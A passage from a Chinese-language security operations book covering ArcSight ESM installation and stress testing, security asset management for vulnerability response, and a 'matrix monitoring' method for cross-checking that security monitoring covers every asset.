过亏,教训极为深刻。 21.3.8 工作流规划 SIEM中,反映的问题很多在前期都需要进行优化、调整,否则误报率会很大,即使是准确地报警, 很多情况下也需要设备管理部门来处理,因此定义合适的事件处理流程,形成闭环,才能更好地发挥 SIEM平台的作用。某SOC流程规划如图21-5所示。 图21-5 ArcSight为某500强企业做的相关SOC流程规划示意图 21.3.9 成果度量 SIEM平台交付的各Use Case必须可验证,并具备完整的设计、测试、维护文档,触发的有效性、精 确性评估尽量量化,以下是实际情况中部分度量评价指标: ·实时关注的不同类型报警数量≤A单/小时(一般来说对于每个一线值班人员,A=6),否则一线值 班人员无能力处理。 ·相同类型报警需具备归并、抑制、黑白名单功能,可以通过报表、仪表板展示明细,但实时报警24 小时内不重复发送。 ·报警信息能显示相关的关联信息,以利于后续事件调研,报警的标题需包含事件严重度信息,方便 快速检索。 21.4 ArcSight安装配置 本节介绍ArcSight最重要的模块—ESM的安装配置。包括: ·安装前准备。 ·初始化安装。 ·安装后验证。 ·性能调优。 ·初始备份。 ·压力测试。 ·其他参数调整。 21.4.1 安装前准备 基于前期规划准备硬件及外部资源,包括RAID、带外管理、IP、NTP、SMTP、DNS、主机名、网络 访问策略、可选的AD/LDAP信息,如图21-6所示。 图21-6 网络访问策略 查阅《ArcSightESM Support Matrix》,确定ESM软件版所使用操作系统的类型及版本。 建议参考《ESM6.11.0 Installation Guide》《Building a custom CentOS 7 kickstart disc》定制相应的操 作系统自动化安装光盘,参考《CIS Benchmarks》加固操作系统,所有配置通过Kickstart及脚本自动实 现。促使我们这么做的原因是可以将各系统变更内容(如IP、主机名、DNS、NTP、Firewalld、软件包、 软件参数配置项等)固化(此光盘可以为ESM、Logger、Connector统一定制),与其编写大量的细节部 署说明文档,不如花点精力编写Kickstart和Shell,后期在系统扩容和环境恢复时也可大幅减少部署时间且 能标准化,还可降低实施/维护工程师的交付难度。 21.4.2 初始化安装 参考《ESM6.11.0 Installation Guide》获取软件安装包及License文件,需要注意的主要内容如下; ·使用非root账号(例如arcsight)执行安装,语言建议选择English,尽管ESM支持多语言,包括简体 中文,但是相关的原厂测试完整性一定不如英文版,英文版可以减少因一些莫名其妙小问题而带来的困 扰。 ·设置符合强度的后台数据库密码并记录。 ·设置存储资源池容量。 ·安装完毕后以root执行结束界面提示的脚本/opt/arcsight/manager/bin/setup_services.sh,以便部署自动 启动服务。 21.4.3 安装后验证 验证步骤如下: 1)以arcsight账号用命令行启动ESM服务以验证安装是否成功。 $/opt/arcsight/manager/bin/arcsight manager 2)等待出现Ready提示。 3)通过浏览器访问https://<ESM_Host_Name>:8443,如果可以用安装时设置的管理员账号及密码登 录,即可证明初始化安装正确。 4)建议后续安装6.11.0的Patch软件包,方法参考相应版本的Release Notes说明。 21.4.4 性能调优 性能调优可以参考《ESM6.8 Performance tuning》《ArcSight ESM Performance Settings》 《ArcSightESM Performance Guide v1_3》,此过程需要结合后续压力测试反复验证并调整。 21.4.5 初始备份 在压力测试前建议参考《ESMCORR-Engine Backup and Recovery》把初始安装完毕的ESM做个全备 份,由于压力测试会输入大量的测试样本数据占用存储资源,ArcSight ESM是不允许修改、删除已有的 日志数据,只能循环覆盖。用此备份数据可在压测后将ESM恢复至压测前的状态,并可验证ESM的备份/ 恢复脚本及流程是否有效。 21.4.6 压力测试 ESM Manager的日志接收能力测试利用自带的bleep模块实现,此模块通过回放模拟事件的方法持续 向ESM Manager发送数据进行压力测试。 建议在多个Connector服务器上部署ESM Manager(无需安装,只需将ESM Manager安装后软件目录 tar到Connector服务器上即可),每个机器模拟多个Connector同时向ESM Manager发送日志。 为减少压测对网络其他业务造成的影响,建议使用单独的交换机或交叉线连接ESM Manager和各 Connector服务器。通过ESM仪表板观察ESM Manager的性能,以及各Bleep模块的输出信息有无缓存日志 信息,逐步增加模拟Connector数量直到恰好不产生缓存日志的配置,之后持续运行至少24小时,建议一 直持续到将EventStorage存储池占满为止。 21.4.7 其他参数调整 查阅/opt/arcsight/manager/config/server.default.properties中对各参数的说明,增加/修 改/opt/arcsight/manager/config/server.properties中配置,例如: ·PDF中文字体配置项。 ·登录提示Banner。 ·用户密码复杂度策略。 ·SMTP用户认证。 ·AD/LDAP用户验证。 21.5 小结 本章大致介绍了SOC安全运营中心的基本功能,并以ArcSight为例介绍了SOC系统实施规划,安装设 置好SOC系统后,还有很多具体的实施和开发,需要读者进一步查阅资料。 第22章 安全资产管理和矩阵式监控 资产管理是IT治理永恒的主题之一,就像阳光、空气和水,不起眼却不可缺。当一切安好时,资产 管理不容易体现它的存在价值;当出现问题时,被忽视的资产管理往往能给运营团队带来充分的“惊 喜”。资产管理体系不成熟会带来很多的问题。例如,被监管部门通告,却发现根本不知道子公司什么时 候上线了这个网站;检测出了高危漏洞,问了一圈却根本不知道是跑什么业务的,能不能加固,谁来加 固;运维团队什么时候又在互联网侧开放了22端口SSH服务,等等。 22.1 安全资产管理 正所谓知己知彼,百战不殆。资产管理指基于一定的管理规范,通过管理工具或技术手段,由指定 的角色和人员,记录组织所属的基础设施软硬件、机房环境、系统配置、业务配置等各种类型的IT系统 软硬件资产的详细信息,并对资产信息的变化和异动进行监测和管理。记录信息的范畴,包括某个时间 点的资产信息“快照”,也包括“快照”建立后所有资产信息的变更情况。从不同的角色和维度看资产,关注 的信息点有所不同。财务人员从库存的角度看资产,关注资产清单上的实体资产和无形资产是否存在。 系统工程师关注服务器的配置、可用性、资源余量,关注设备是否在保。网络工程师关注网络设备资源 余量,关注网络拓扑的完整性和有效性,关注非法接入。而安全团队则是从安全运营管理的角度看资 产,通过对资产属性进行安全管理,消除资产管理中的安全隐患,保障组织IT资产的安全性。 22.1.1 面临的问题 1.安全资产管理的重要性 资产安全管理可以分为主动安全管理和被动安全管理。在主动安全管理过程中,安全运营团队需要 通过安全管理对资产全面了解,分析各个资产的脆弱性和资产潜在价值,通过定量分析或定性分析,计 算各个资产的威胁度。通过资产暴露面分析和威胁度分析,为不同价值、不同环境中的资产制订并实施 针对性的威胁解决方案。 在安全运营工作中,安全资产管理也起着关键作用,例如对1day漏洞的处置。在0day漏洞成为1day漏 洞后,漏洞的利用方式和影响范围已经曝光。在这个业务安全最脆弱的阶段,如何同黑客赛跑,争分夺 秒地“揪”出存在安全风险的资产,是时下最紧迫的问题。对于1day漏洞,安全运营团队需要针对漏洞的影 响范围执行针对性的应急解决方案。通常可以先根据爆出1day漏洞的影响范围(CVE漏洞通常会有对应 影响的CPE编号),结合组织资产清单进行一轮资产匹配,先确定可能受该漏洞影响的资产范围。在此基 础上使用更深入的技术手段,例如利用PoC对可能受影响的资产进行更加精确的漏洞验证,对受影响资产 进行精确定位后,才能对其进行针对性的风险处置。这种方式能够大幅度缩短MTTD及MTTR,提升安全 运营团队的风险处置能力和效率。 如图22-1所示,在对受影响资产进行精确定位后,安全运营团队将通过版本升级、补丁更新、配置变 更等方式对资产进行安全加固,削弱或消除漏洞带来的安全风险。利用PoC验证等技术方法,可以对受影 响资产进行精确定位,而全面准确的资产信息,是对信息安全风险进行快速、精确定位的数据基础。如 果组织所属的IT资产信息特别是安全关注的资产属性不全面或有错误,将导致安全运营团队对组织资产 的暴露面认知不全,隐藏资产将成为重大且未知的风险隐患,一旦这些资产存在的漏洞被恶意利用,将 给组织带来重大风险。 图22-1 基于资产清单与PoC的精确安全风险定位与处置 要做好安全运营,必须先做好安全资产管理。 2.安全资产谁管理 资产作为一项基础性的运营工作,一般由企业IT运维团队负责。落实到具体的人员角色上,一般由 系统工程师统计并记录服务器、存储、操作系统等软硬件基础设施资产信息,由网络工程师记录网络交 换设备、公网IP地址等软硬件基础设施资产信息,由应用工程师和数据库工程师在业务逻辑层面记录系 统的节点配置、关联配置等业务资产信息,由安全运营工程师记录安全防护软硬件设备资产及其配置项 资产信息。 安全资产管理不能从资产的原始价格角度管理,应从资产安全价值的角度进行分析,赋予每个资产 在安全维度的价值属性。资产价值源于业务价值,同样的资产在不同的业务环境中体现的价值也不同。 安全运营团队应从业务角度关注组织资产,除了关注资产自身的安全价值外,还应根据资产间的依赖关 系认知资产的附加安全价值和整体安全价值。业务依托于安全,安全为业务保驾护航。从业务角度和业 务高度上看资产,更容易明了应该关注的安全资产范围和属性。 安全资产管理如此重要,但现阶段在各个组织的安全运营工作中,安全资产管理的实际落地效果往 往不尽如人意。造成这种局面的因素有以下几点: ·组织对安全资产的范围认识不全面,安全资产边界不清晰。 ·安全资产管理方式为原始的人力手工管理,缺乏有效的自动化管理工具。 ·缺乏对安全资产变更的持续性监控能力,无法及时发现违规变更。 ·管理流程僵化,缺乏有效性,易被绕过。 ·对于部分资产的属性,现有的技术发现手段准确率不足。 ·业务增长连带安全资产增长,以现有的模式,其管理成本和技术成本呈几何级数增长。 基于各种原因,组织的资产信息往往都存在着各种不足,包括资产未记录、记录错误、更新不及时 等因素导致的资产信息错误。不完备的资产信息是安全运营管理过程中存在的重大风险点,而安全运营 团队作为组织安全管理的责任团队,应积极主动地承担好安全资产的管理职责,为做好安全运营工作打 下坚实的基础。 3.安全资产管理的关键问题 要做好资产管理并不容易,这并不是一个简单的技术问题或管理问题,而是技术与管理的多重融合 问题。就现阶段的行业经验来看,十全十美的资产管理是不存在的,但通过尽可能完善有效的资产管 理,可以极大地提升安全运营团队对安全资产的认知能力和把控能力。运营团队想做好安全资产管理, 应该从以下几个方面加大力度,做出切实有效的工作。 (1)明确安全资产管理的关注范围和关注维度 理清从安全运营角度应该关注的安全资产维度,对安全资产的充分认知,可以帮助安全运营团队提 升对突发威胁的响应速度和效率。安全资产管理应从业务安全的角度关注安全资产,保障业务安全需要 关注业务系统的核心资产和周边辅助资产。 核心业务开放在互联网端的应用前端资产是关注度最高、风险最大的业务资产暴露面,而位于边界 防护体系之后的内网中的网络系统、支撑环境和其他应用后端资产由于暴露面较低,其风险级别也相对 较低。但网络无边界,安全也无绝对,对内网安全资产的关注也容不得有半点疏忽。内网资产位于高安 全区域,属于“城堡内部”的风险点。一旦某个风险点被攻破,极易通过一点使危害扩散和蔓延。最牢固 的堡垒往往都从内部被攻破,安全运营团队应充分认知内外网资产之间的逻辑关系和关联关系,结合先 进的技术产品和技术手段,结合组织的整体安全策略和制度,为组织的IT安全保驾护航。 (2)通过自动化手段提升安全资产的发现识别效率 传统的以人工识别为基础,以Execl表格工具为载体的资产识别和管理,已经完全跟不上现阶段组织 业务扩张和资产爆炸性增长带来的管理要求。传统的人工操作总是受到人工精力不足、效率低下、易出 错等负面因素的影响,无法形成有效的资产管理能力。安全运营团队应利用成熟的自动化资产管理技术 或产品,构建高效、智能的自动化资产发现、识别和管理能力,降低资产管理对团队的工作压力。 目前较为常见的资产发现识别手段主要有三种,各有优劣: ·主动探测,是指基于Nmap等探测技术对资产进行识别。优点是实施较为简单,对系统环境影响较 小;缺点是准确率受到用户提供的检测范围影响,当资产有一定防护和屏蔽后难以识别。 ·被动流量发现,是指基于流量识别检测正在使用的设备、服务和应用程序。优点是不受用户提供检 测范围影响,对业务系统基本无影响;缺点是难以发现没有在使用的资产或孤岛资产,流量镜像对网络 有一定影响等。 ·Agent获取,是指通过在服务器上安装Agent来识别资产。优点是能够获取到的数据最为全面和准 确;缺点是实施较为困难,对业务有一定影响,资产发现效果受到安装范围影响等。 在实际的资产管理中,企业可以根据自身所需的资产管理力度来决定采用哪一种或多种资产发现手 段。 基于业内的实践经验,实现资产管理有各种开源的CMDB产品,也有一些比较成熟的第三方资产管 理产品。从使用效果上看,开源CMDB产品对运营人员的技术能力、管理能力和协调能力要求较高,但 成本相对较低。而第三方资产管理产品会产生一定的成本,但能提供专业的售后支持服务,还可以根据 管理需求进行针对性的功能开发和性能调优,更有利于快速形成组织的安全资产管理能力。两者各有优 势,安全运营团队应根据企业自身特点,灵活地选择适合自身组织环境的安全资产管理解决方案。 (3)做好动态数据更新与维护 做过资产管理台账的人可能都有这样的体会,利用一个月的时间充分摸底组织IT资产,殚精竭虑地 做了一份尽善尽美的组织IT资产台账。但三个月后一看,这份台账的信息已经出现了各种错误,整体准 确率已经无法估计。这种令人无奈的情况,根本原因就是人的精力、注意力无法长期应对组织资产信息 的频繁变化。 为了解决这个致命的问题,组织的安全资产管理环境在能够自动化发现、识别资产的同时,还应具 备自动化、周期性的资产信息变更识别、记录能力。 (4)控制好安全资产信息获取过程的负面影响 要明确的是,安全资产管理和IT资产管理之间是有交集的。安全资产管理可以不必关注服务器的序 列号、U数和维保情况,这是运维团队需要关注的。安全资产管理更关注业务系统各个业务节点上运行了 什么程序,具体是什么版本,各个节点和系统之间有着怎样的对应关系和依赖关系。它既会关注运维资 产管理中的部分信息,也会关注一些业务层面的安全资产信息。 (5)通过有效可行的规范制度保障安全资产管理的持续性 安全资产管理的信息初始化建设很重要,但资产基线建立后的变更识别维护过程,是一个更加重要 的持续性过程。传统资产管理往往都在基线建立后的维护过程中遭遇滑铁卢,失效的持续监控机制和职 责控制,使得资产信息的有效性随着时间的推移直线下跌。 为了保障安全资产管理的持续有效性,应该制定适当的管理规范。规范应充分考虑复杂度和有效 性,有效的规范应具备简单、可行、闭环可追溯等特点。可从以下几个方面进行考虑: ·系统操作流程及操作方式应简单可行,不应存在过多的不确定性。 ·具体的操作责任应落实到指定的责任人,不应出现多头管理或无人管理的局面。 ·应有定期检查机制,由指定的人员执行定期检查任务,确定管理规范的执行是否到位。 ·对于来按规范执行的失职人员,应有明确的问责制度和修复机制,避免规范成为一纸空文。 22.1.2 解决思路和方案 1.安全资产管理应关注哪些资产信息 安全运营团队应从安全运营需求的角度考虑如何关注组织IT资产的细节信息,理论上,获取的信息 越详细,在安全运营中就越有效。但信息越详细,信息获取、维护的难度越大、成本越高。安全运营团 队应充分考虑所在组织的业务重要性、资产数量和团队自身能力,以切实可行、实事求是的态度选择适 合自身组织环境的安全资产管理模式。 (1)业务维度 业务维度的安全资产,更多的是考虑业务发布的互联网侧的暴露面资产。这些资产因为业务需求不 得不向互联网用户开放,同时也不得不承受潜在的攻击威胁。在业务维度值得关注的安全资产包括: ·域名资产。域名资产是最直观的业务维度资产之一,是做好业务维度安全资产管理的最佳把手。绝 大多数面相公众用户的业务都具有指定的域名信息,域名下又有二级域名和CNAME等子域名资产,通过 对域名资产的发现、识别,可以获取更多的业务相关资产信息(例如IP地址)。 ·URL资产。URL指向业务服务的详细地址,通过对URL资产的发现与识别,能够进一步了解构成业 务的服务、框架、端口等详细资产信息。 ·外网IP资产。某些业务因具体的业务需求没有分配相应的域名,而是直接通过IP地址向外网提供服 务。通过对外网IP资产的进一步识别分析,可以获取IP上开放的业务端口等更多的详细资产信息。 (2)系统维度 与业务维度不同的是,在系统维度应该更注重系统的逻辑构成,通过系统逻辑结构获取更多的安全 资产信息。在系统维度值得关注的安全资产包括: ·外网IP资产。除了业务没有分配域名的情况外,笔者更愿意以系统的维度看待外网IP资产。外网IP 资产与业务的实际构成往往是一对多的集群对应关系,一个开放的外网IP后端可能关联了多个真实IP地 址,甚至可能关联多个集群虚IP。通过对外网IP资产的深度识别,可以获取更多的安全资产详细信息。 ·外网开放端口资产。开放的端口资产是服务的直接入口,通过对端口资产的指纹识别,可以获取该 端口上开放服务的真实情况。在实际工作中,经常会有端口号和端口上开放的服务不一致的情况。对网 络工程师和安全工程师来说,在端口开放的操作和审计上往往只能做到OSI模型的第4层。端口策略开放 后,操作人员可能将其他服务指定到该端口(例如申请80端口开放HTTP服务,之后将oracle1521端口服 务指定到80端口),将会形成重大的风险隐患。 ·内网集群IP资产。内网集群IP是负载均衡服务层的虚IP,该资产上联外网IP资产,下联real IP(业务 主机操作系统IP)资产,是业务发布链上的重要一环。通过对内网机群IP资产的识别分析,可以获取更多 的主机IP资产、端口资产等安全资产的详细信息。 ·内网集群开放端口资产。内网集群开放的端口是系统层面的重要资产,但在实际情况中出于安全原 因或资源原因,集群开放端口和real IP上开放的端口可能不一致。安全资产管理人员应根据资产的实际配 置情况进行分析、记录。 (3)主机维度 主机层面已经开始进入业务系统的逻辑底层,主机可能是物理机,也可能是虚拟机。不同的主机环 境对安全运营的要求和压力也不相同。在主机维度值得关注的安全资产包括: ·主机IP资产。主机IP资产实际上是操作系统上配置的IP资产,操作系统所在可能是物理机或虚拟 机,一个操作系统上可能配置了多个IP资产。通过对存活主机IP资产的发现、识别和分析,可以确认资产 的存活性并识别出主机上部署、开放的其他相关资产信息。 ·主机开放端口资产。主机开放端口资产是主机上运行服务的直接访问接口,通过对主机开放端口的 发现、识别和分析,可以获取主机上开放的具体服务信息,包括服务类型、服务版本等。 ·中间件资产。中间件资产是最常见的资产类型之一,几乎所有的系统架构中都包含中间件资产。作 为广泛应用的中间件产品,通用其漏洞往往能够带来重大的安全隐患。在安全资产管理层面,应该特别 注重中间件资产的发现与识别。 ·数据库资产。数据库资产是最常见的资产类型之一,几乎所有的系统架构中都包含数据库资产。作 为广泛应用的数据库产品,通用其漏洞往往能够带来重大的安全隐患。在安全资产管理层面,应该特别 注重数据库资产的发现与识别。 ·操作系统资产。操作系统资产是业务系统的底层资产,其重要性不言而喻。Linux、windows等操作 系统内含多种服务和组件。在为业务系统构建带来便利的同时,也将带来各种漏洞与风险(例如 OpenSSL Heartbleed),安全运营应对操作系统资产的安全给予强烈关注和积极应对。 ·其他应用服务资产。组织自身开发的业务应用和其他第三方的业务应用资产,也是安全资产管理中 应该关注的一环。 (4)通用维度 除了各项资产的核心信息本身外,安全资产管理还应从系统状态、技术细节、管理角度多方面关注 信息安全资产的重要信息: ·资产补丁状态。明确资产补丁状态可以判断资产是否受到确定漏洞的安全威胁,明确组织资产态 势。 ·主机HIDS状态(如有)。主机型入侵检测系统专注于系统内部,监视系统全部或部分的动态行为以 及整个计算机系统的状态,是安全资产管理的一个有力接口。 ·资产负责人。资产负责人可分为业务负责人、系统负责人、主机负责人等;又可根据组件分为中间 件负责人、数据库负责人、操作系统负责人、网络系统负责人等。根据资产与责任人之间的明确对应关 系,可以在资产风险管理过程中建立从业务到责任人的完整关系链条,有助于安全运营团队构建闭环的 风险管理模式。 ·系统开发商。在系统面临自身基因缺陷(代码、架构)导致的重大风险时,明确的系统开发商和联 系方式,可使安全运营团队快速地联系系统的开发团队,寻找解决问题的办法。 业务依托于安全,安全服务于业务,抓住这个核心思想,才有助于安全运营团队确定组织需要关注 的安全资产范围。 2.易被忽视的安全资产信息 安全运营团队在安全资产管理过程中不但应该具有高度的业务视角,也应具有入微的细节视角。俗 话说“外行谈战略,内行谈后勤”。在实际工作中,某些细节问题往往是决定成败的关键点。易被忽视的 安全资产包括: ·全局安全资产。充分考虑业务环境中所有的相关资产信息,除了核心系统外,还应考虑在IT层面上 实现业务逻辑的周边系统资产、辅助系统资产。要充分考虑组织分支机构资产和外部公有云相关资产, 避免在安全运营及外部合规性核查中因自身资产盲区导致不良后果。 ·新型安全资产。在互联网+时代,还存在着一些新型的、不引人注意的资产类型。例如企业公众 号、企业微博号等市场推广资源。从组织整体安全运营的角度看,这些资源可能存在误用、盗用、使用 不规范等问题,导致发布了不合适的内容信息。公众信息发布的安全性,也可以作为安全资产管理的一 个关注点。 ·存在安全隐患的隐藏资产。除了直观可见的安全资产外,还存在着一些不面向大众用户的隐藏资 产。例如开放在公网的API接口、网站管理后台等。以API为例,该资源不得不开放在互联网侧,基于用 户的分布性又难以限制可接入IP,容易受到API参数篡改、内容篡改、中间人攻击等安全威胁。可通过前 端防护设备及鉴权控制保障此类资产的安全性。 ·特权账号。特权账号因其权限较大,比普通账号具有更强的脆弱性。账号作为业务系统人机交互的 钥匙,在安全资产管理中容易受到忽视。 ·易被忽视的资产属性。还有一些容易受到忽视,但对业务安全及业务可用性有很大影响的资产属 性。例如网站证书有效期、域名有效期、各类设备维保时间和供应商联系电话等。 安全运营团队在安全资产管理中,应该做到全面细致地考虑,尽可能全面点亮安全资产管理范围, 尽力避免资产信息黑洞带来的安全风险隐患。 3.安全资产管理系统 要做好安全资产管理工作,应该具备一系列的资产管理能力一套相对完善的资产管理系统,应至少 包含以下能力: ·资产发现识别能力。资产发现能力是安全资产管理的基础能力。无论是传统的通过人工识别的资产 发现能力,还是自动化、智能的产品级资产发现能力,想要进行安全资产管理,首先必须在某种环境或 场景中发现存活资产,并且通过分析资产特征来识别资产详情。资产发现能力应该是全面和精确的,避 免因不完善的甚至错误的资产发现造成重大风险隐患。 ·资产持续监控能力。资产配置会随着业务需求的变更而不断变化,变化的范畴和频率是由业务的变 更需求所引导的。要保证安全资产信息的持续有效,必须具备对资产配置变更的持续监控能力。通过周 期性的、繁复的资产发现和复查,可以及时发现资产信息的变化情况,通过对资产变更信息的确认和入 库,可以保障资产信息持续有效的。 ·资产变化的合规性。资产配置变更流程应符合组织的变更管理规范,当运营团队执行某些安全资产 的配置变更操作时(如新增配置、现有配置变更),应务必遵守组织制订的配置审批操作流程或变更审 批操作流程。 ·重点关注高危服务。对于3389-windows远程桌面服务默认端口、22-SSH服务、21端口-FTP服务和23 端口-telnet服务等高危服务端口,安全运营团队应给与重点关注。在关注服务的默认端口的同时,还应注 意可能存在服务端口变更的情况。这种在第4层服务确定的问题,应通过资产识别分析能力,从第7层反 馈信息上判断端口上开放的真正服务内容。 ·1day漏洞响应能力。发现资产安全漏洞不是安全运营的最终目的,解决发现的资产安全漏洞才是最 终目的。安全运营团队应基于有效的安全资产数据,结合团队技术实力和管理能力,形成及时有效的 1day漏洞响应处理能力。 ·全局安全资产管理。安全运营团队在安全资产管理中,应基于组织业务架构具备全局管理视角,除 了关注核心数据中心、总公司等重点资产区域外,还应充分考虑分公司、分数据中心、分布式业务系统 的安全资产管理需求。安全运营团队应基于业务重要性和合规性要求给予分布资产足够的重视程度和管 理级别。 4.安全资产分析数据可视化 数据可视化是安全运营工作的有力支持,通过将适合机读的资产数据转换为适合人读的展示形式, 有助于安全运营团队对安全资产及其关联关系的识别、分析,能够提升安全事件处理效率。 尽量做到一目了然地读取安全资产相关的组件信息、业务信息、责任人信息,还可以通过与漏洞情 报的关联,显示资产上存在的漏洞风险信息。 5.安全资产管理闭环 安全资产管理切忌发展成“有责任无执行,有变化无监控,有需求无响应,有问题无解决”的“四有四 无”状态。一旦这些情况成为常态,意味着安全资产管理已经处于彻底失败的境地。要避免这种问题,应 基于PDCA的原理,形成安全资产管理任务内部闭环的业务模式。 具体思路包括: 1)制订有效的安全资产闭环管理计划。 2)将计划中具体的任务、需求责任指派到具体的自然人,不能存在任何任务无接口人的情况。 3)任务发起人应通过任务清单或系统自动流程单,关注任务的处理进展。 4)不同类型的任务应有任务处理期限,不应形成无限挂起的僵尸任务。 5)执行人完成操作后,应由发起人进行验证,根据验证结果决定任务关闭或重新执行。 6)安全运营团队的管理者应重视闭环流程的执行情况,定期或不定期地对任务的执行状态进行检 查,避免因为监督不力导致流程和规范名存实亡。 22.1.3 几点思考 资产管理归根到底,还是安全运营的一部分。笔者结合在安全资产管理工作中积累的一些经验,列 出几点思考供读者参考: (1)快速响应能力建设 安全资产管理最终的能力体现在安全运营团队对1day风险爆发时的快速响应。安全资产管理到位, 具备完善的安全资产信息的安全运营团队,应该可以在1day漏洞爆发后,第一时间通过资产信息匹配列 出一份疑似资产清单。同时,通过跟踪漏洞信息尽快获取可用的PoC,利用资产管理系统的PoC深度监测 功能,精确定位受影响资产。 根据精确定位的风险资产清单、业务重要性、业务依赖关系、资产漏洞被利用的难度和漏洞修复建 议,快速形成漏洞资产的处理建议。建议中还应包含处理的步骤建议,分析资产风险处置的优先级排 序,给出风险处置保障建议。通过快速构建一整套可行的风险分析及处置方案,体现安全运营团队在组 织中的存在价值。 (2)恪尽职守、尽力而为 不同组织基于实际情况,在人力配置和财力配置上有自身的客观条件,安全运营人员应结合实际情 况选择合适的安全资产管理工具和方式。条件允许的,可以使用开源CMDB或更加成熟的第三方管理产 品;条件不允许的,也应该采用人工梳理加Excel记录的传统方式尽力做好组织内的安全资产管理工作。 与其不作为导致安全运营工作效果不利,进而导致组织重视程度下降、资源缩水、工作效果不利的 恶性循环,不如充分利用现有资源和团队成员的主观能动性,通过端正的工作态度和优秀工作效果,获 得组织的关注和投入。作为职业人士,安全运营从业者理应恪尽职守、尽力而为。 (3)自动化和智能化是未来的发展方向 传统的、人工的、被动的、粗糙的安全资产管理方式已经完全无法满足多年来业务环境中信息化、 自动化和网络化的发展形势。随着各种成熟的第三方安全资产管理产品的不断上市,安全资产管理的自 动化和智能化程度在不断提高。随着行业实际业务模式的针对性功能不断开发,专业安全资产管理系统 的可用性和效率也在不断提升。 结合近年来火热的大数据、人工智能等先进技术,安全资产管理系统的技术含量和含金量也将不断 提高。自动化和智能化一定是安全资产管理技术的发展方向。 22.2 矩阵式监控 22.2.1 存在的问题 监控系统是确保系统正常提供功能的“眼睛”,通过持续不断地收集系统的状态信息,能够快速发现 系统异常,快速响应和应急处理,尽可能降低业务受影响时间,将损失降到最低。 企业安全建设中安全感知能力依赖于部署在网络层、系统层、应用层、数据层、用户层等不同层级 的安全监控系统,如防病毒系统、服务器安全客户端系统、蜜罐系统、IPS系统、安全总控中心系统等。 笔者在实际中发现,由于安全监控系统失效导致安全防线被突破的情况占安全事件原因的比例很高,也 是红蓝对抗中防守方失败的主要原因。监控系统存在的问题主要包括: ·资产管理工具和机制落后,未纳入集中统一管理的设备数量多,导致资产管理效果很差,没有好的 技术手段和监控措施导致安全监控失效情况发生,基本依赖于系统管理员、安全管理员的责任心和运 气。 ·各类安全监控系统的监控标准不明确、不统一、甚至没有。 ·新增设备没有纳入安全监控,安全监控系统无法与资产系统进行关联,确保监控全覆盖。 ·各类监控系统无法进行整合,统一展现。从设备或监控系统单个维度呈现的结果不够准确,人工逐 个系统检查的方式需要耗费大量人力,无法可持续地运营。 ·无法完全保障监控结果的持续跟踪,确保所有已发现的监控失效问题得到整改。没有固化的流程跟 踪缺失的监控。 从2012年底,笔者所在团队开始研究上述问题的解决思路,提出矩阵式监控思路,并进行了一年多 的实际部署,将团队中全部种类和数量的设备纳入矩阵式监控,发现了较多监控整改项。结果证明,安 全监控系统失效的事件大大降低,提升了安全有效性。 22.2.2 解决方案 矩阵式监控其实就是监控的监控,主要方案和实践将一一阐述。 1.资产准确性 要想确保监控全覆盖,必须保证资产的准确性,要与资产清单相关联才能得到最准确的结果。我们 建立了一套资产管理平台,将资产管理系统化,摆脱了过去通过Excel文件增量更新的土办法。同时,与 分配IP地址的系统相关联,自动获得本团队新增的IP资产,放入资产管理平台中。还可以再与自动化扫描 和资产识别工具相关联,让资产管理更加自动化和准确。 2.明确监控标准 梳理在用的主要监控系统类别,明确各类安全监控系统需要部署的监控标准,如表22-1所示。 表22-1 各类监控系统及监控标准 □:需要安装监控 N/A:该监控对该类型设备无效 责任人:表示该监控项或该系统类型的负责人,负责制定该项监控标准 提示:该图仅列举了部分系统类型和监控项,实际中系统类型有10项,监控类型9项。 3.部署矩阵式监控 矩阵式监控主要通过横向和纵向两个维度的结果,进行比对,确保结果的准确。 (1)横向维度 横向维度指的是从上述监控标准中的横向系统出发,通过分析系统的配置、进程和服务情况,判断 该系统是否添加了相应的监控手段,再和资产清单比对,形成横向的汇总报表。 通过检查各系统的配置,或者Windows和Linux的进程,服务等,生成监控结果,如表22-2所示。 表22-2 横向维度监控结果 注:仅列举了部分系统横向结果。 (2)纵向维度 纵向维度指的是从上述监控标准中的纵向监控系统出发,通过导出每套监控系统中添加的设备列 表,再和资产清单比对,形成纵向的汇总报表。 从各监控系统中导出纳入管控的设备,生成监控结果,如表22-3所示。 表22-3 纵向维度监督结果 注:仅列举了部分纵向结果。 (3)结果比对 最后将横向报表和纵向报表进行比对,形成矩阵式监控报表。只有当横向和纵向结果中都显示监控 正常,才认为是监控正常;否则均认为是有问题的,需要进行整改,确保不会遗漏。矩阵式监控报表的 产生涉及众多系统类型和监控类型,很多都没有现成的报表功能,都需要通过开发程序和工具来实现。 通过交叉验证,确保结果准确性,如表22-4所示。 表22-4 横向结果与纵向结果比对 Fault:横向和纵向均为Fault,说明此项监控缺失,需要立即整改。 Diff:横向和纵向中有一个为Fault,一个为OK,说明其中某个结果有问题,可能是程序问题或者网 络不通等,在比对结果中显示为diff,需要进一步排查。 OK:横向和纵向均为OK,说明此项监控已配置,并工作正常。 N/A,横向和纵向均为N/A,说明此项不适用。 (4)将比对结果与资产清单关联 重点要发现资产清单中未部署监控的设备,从而保证监控系统全覆盖。 如何确保新增的设备都纳入了监控?通过矩阵式监控报表与资产清单的比对,可以发现新上的设备 未添加在资产管理系统中的情况,只要这台设备添加了任何一种监控方式,但是它没在资产清单中,可 以很快被矩阵式监控发现,并显示事件,这样可以确保资产的及时更新,并确保新上设备的其他监控方 式也全部添加。 4.持续跟踪整改 如何保证对矩阵式监控的结果持续跟踪、及时整改? 每天生成一份矩阵式监控报表,对存在的问题划分优先级,优先级高的纳入督办整改。在矩阵式监 控实施之前,我们只零星发现一些监控缺失情况,对监控覆盖率还是很有信心的。生成报表后发现问题 隐患还是比较多的,整改任务比较艰巨,花了很多精力和时间把监控这项基础工作做好做全面。通过矩 阵式监控结果也发现资产清单的很多错误情况。 我们将矩阵式监控的日报与日常值班检查的监控界面进行集成,将不合规的项在监控界面上图形化 展示,如图22-2所示。值班人员每天进行检查,并在值班记录中登记详细情况。第二天安全事件晨会回顾 值班记录,团队负责人督导不合规项的整改,如果没有及时整改,以后每天都会在值班可视化监控平台 中亮红。通过持续回顾和跟踪,确保整改到位。 图22-2 矩阵式监控结果可视化展现 图22-2中,绿色表示该管理员负责的系统或设备矩阵式监控检查全部合格,红色表示不合格,数字表 示不合格项数量。 22.2.3 收益和体会 通过矩阵式监控的实施和长期运营,目前除了一些PC终端偶尔出现服务停止等不稳定因素外,监控 覆盖率接近100%,监控出现缺失或监控服务出现异常,一个工作日之内便可以发现,并迅速修复。资产 